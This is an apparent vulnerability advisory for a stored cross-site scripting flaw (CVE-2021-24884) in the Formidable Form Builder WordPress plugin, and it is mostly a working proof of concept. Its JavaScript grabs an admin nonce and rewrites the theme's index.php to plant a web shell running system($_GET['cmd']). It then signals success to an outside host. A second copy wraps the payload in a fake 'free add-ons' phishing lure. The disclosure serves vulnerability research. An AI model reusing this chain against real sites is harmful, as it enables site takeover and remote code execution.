Formidable Form Builder < 4.09.05 – Unauthenticated Stored Cross-Site Scripting | CVE 2021-24884

Description

The plugin allows to inject certain HTML Tags like <audio>,<video>,<img>,<a> and<button>.This could allow an unauthenticated, remote attacker to exploit a HTML-injection byinjecting a malicous link. The HTML-injection may trick authenticated users to follow the link. If the Link gets clicked, Javascript code can be executed. The vulnerability is due to insufficient sanitization of the "data-frmverify" tag for links in the web-based entry inspection page of affected systems. A successful exploitation incomibantion with CSRF could allow the attacker to perform arbitrary actions on an affected system with the privileges of the user. These actions include stealing the users account by changing their password or allowing attackers to submit their own code through an authenticated user resulting in Remote Code Execution. If an authenticated user who is able to edit Wordpress PHP Code in any kind, clicks the malicious link, PHP code can be edited.

Proof of Concept

<div>Delete this form entry?
    <script>
    var nonce = '';
    var body = '';
    var regex = /[a-z0-9]{10}/g; 
    var req = new XMLHttpRequest();
    var req2 = new XMLHttpRequest();

    req.open("GET","/wp-admin/theme-editor.php?file=index.php", true); 
    req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
    req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    req.send(); 

    req.onreadystatechange = function () {
        if (req.readyState == 4 && req.status == 200) {
            body = req.responseText;
            nonce = body.match(regex)[447];
        }
        };

    setTimeout(() => {
    confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce); //Confirm just for demonstration purpose.
    req2.open("POST","/wp-admin/admin-ajax.php", true); 
    req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
    req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list="); 

    req2.onreadystatechange = function () {
        if (req2.readyState == 4 && req2.status == 200) {
            body = req2.responseText;
            if (body.includes("true")){
                console.log("Index.php edited");
                var myImage = new Image(0, 0);
                myImage.src = 'http://192.168.56.1:5686/index_edited';
            }
            else{
                console.log("Something went wrong");
            }
        }
        }
    
    },2000);
    </script>
</div>

=========================Full encoded payload============================================

Update now to get ADD-ONS for free!

Content-Disposition: form-data; name="item_meta[22]"

<img src="https://cdn.formidableforms.com/wp-content/uploads/2018/12/Update-makes-add-ons-simpler.jpg">

Because of our anniversary we issue a free Update for all our customers. 
included are: 
	- New ADD-ONS

Only for a short time available

<a href="?page=formidable-entries&frm_action=destroy&id=444&form=4&frm-full=1" class="submitdelete" data-frmverify="<div>Delete this form entry?
 <script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g; 
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();

req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(); 

req.onreadystatechange = function () {
      if (req.readyState == 4 && req.status == 200) {
        body = req.responseText;
        nonce = body.match(regex)[447];
      }
    };

setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce);
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true); 
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list="); 

req2.onreadystatechange = function () {
      if (req2.readyState == 4 && req2.status == 200) {
        body = req2.responseText;
        if (body.includes("true")){
            console.log("Index.php edited");
            var myImage = new Image(0, 0);
            myImage.src = 'http://192.168.56.1:5686/index_edited';
        }
        else{
            console.log("Something went wrong");
        }
      }
    }
  
  },2000);


</script></div>">Update here</a>